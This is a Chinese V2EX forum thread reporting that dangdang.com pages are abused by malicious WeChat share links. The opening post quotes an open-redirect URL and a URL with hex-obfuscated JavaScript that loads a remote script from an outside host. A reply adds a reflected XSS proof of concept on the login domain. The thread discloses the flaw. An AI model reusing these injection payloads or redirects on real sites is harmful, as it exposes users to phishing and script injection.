首页 注册 登录
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
工单节点使用指南
• 请用平和的语言准确描述你所遇到的问题
• 厂商的技术支持和你一样也是有喜怒哀乐的普通人类，尊重是相互的
• 如果是关于 V2EX 本身的问题反馈，请使用 反馈 节点
bin456789
V2EX  ›  全球工单系统

当当可跳转任意网站

  •   
  •   bin456789 · 2018-07-05 14:15:07 +08:00 via Android · 4741 次点击
    这是一个创建于 2332 天前的主题，其中的信息可能已经有所发展或是发生改变。
    被微信上的恶意分享连接利用了


    https://login.dangdang.com/SignOut.asp?returnurl=http%3A%2F%2Fwx.etcwl.cn%2Fwtz%2Ffenx.php%3Ftype%3D2892&from=timeline


    http://union.dangdang.com/transfer.php%01?from=P-295132-112509_64_0__1&backurl=http%253A%252F%252Fm.dangdang.com%252Fproduct.php%27;top.location.href=%27java%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx3a%5Cx64%5Cx6f%5Cx63%5Cx75%5Cx6d%5Cx65%5Cx6e%5Cx74%5Cx2e%5Cx77%5Cx72%5Cx69%5Cx74%5Cx65%5Cx28%5Cx22%5Cx3c%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx20%5Cx73%5Cx72%5Cx63%5Cx3d%5Cx27%5Cx2f%5Cx2f%5Cx32%5Cx33%5Cx65%5Cx6e%5Cx73%5Cx74%5Cx2e%5Cx6e%5Cx65%5Cx74%5Cx2f%5Cx64%5Cx73%5Cx67%5Cx2e%5Cx6a%5Cx73%5Cx27%5Cx3e%5Cx3c%5Cx2f%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx3e%5Cx22%5Cx29%5Cx3b%27;//&tt=19976#1530770981499
  • 任意
  • 恶意
  • 当当
  • 微信
    18 条回复  •  2018-07-13 20:11:10 +08:00
    wly19960911
        1
    wly19960911  
       2018-07-05 14:42:53 +08:00   ❤️ 1
    这意思，可以直接钓鱼了吗？还是人家官方的域名。

    吐槽下，居然不是 HTTPS，
    blackhacker
        2
    blackhacker  
       2018-07-05 14:46:38 +08:00
    黑产最爱
    hu5ky
        3
    hu5ky  
       2018-07-05 15:12:23 +08:00
    真仔细，这种角落的东西都挖到了
    silencefent
        4
    silencefent  
       2018-07-05 15:15:12 +08:00
    @hu5ky 说不定就是当当的员工
    waytoshine
        5
    waytoshine  
       2018-07-05 15:29:19 +08:00
    牛逼啊兄弟，这也行
    a7a2
        6
    a7a2  
       2018-07-05 15:43:52 +08:00
    asp，php 我醉了
    博彩业最爱
    284716337
        7
    284716337  
       2018-07-05 16:12:36 +08:00
    这也可以发现，牛逼
    opengps
        8
    opengps  
       2018-07-05 16:17:56 +08:00
    这个真的是微信里黑产防止屏蔽的用途了
    Lentin
        9
    Lentin  
       2018-07-05 16:20:43 +08:00   ❤️ 19
    https://login.dangdang.com/SignOut.asp?returnurl=%27);alert(%27hello
    justfindu
        10
    justfindu  
       2018-07-05 16:28:26 +08:00
    @a7a2 这黑的我不服
    neverandy
        11
    neverandy  
       2018-07-05 16:38:42 +08:00
    @Lentin 666
    i730
        12
    i730  
       2018-07-05 17:34:20 +08:00
    @Lentin #9 login 域的 xss 就这么爆出来了，讲究
    460881773
        13
    460881773  
       2018-07-06 09:34:46 +08:00
    @Lentin 优秀啊 dalao dalao
    fxplay
        14
    fxplay  
       2018-07-06 10:19:28 +08:00
    @Lentin 没茅台...当当还不修复么...
    xiri
        15
    xiri  
       2018-07-06 11:09:29 +08:00 via Android
    @Lentin 真心 6
    Lentin
        16
    Lentin  
       2018-07-06 12:37:19 +08:00
    @fxplay 当当网的技术应该是兼职，24 小时过去了
    li520sai
        17
    li520sai  
       2018-07-06 15:16:06 +08:00
    这波操作 6，有没有爱好者一起研究 xss 的，wx：houccdaye
    EmitRemmus
        18
    EmitRemmus  
       2018-07-13 20:11:10 +08:00
    @a7a2 也是色情业最爱。
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1781 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 27ms · UTC 16:28 · PVG 00:28 · LAX 08:28 · JFK 11:28
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.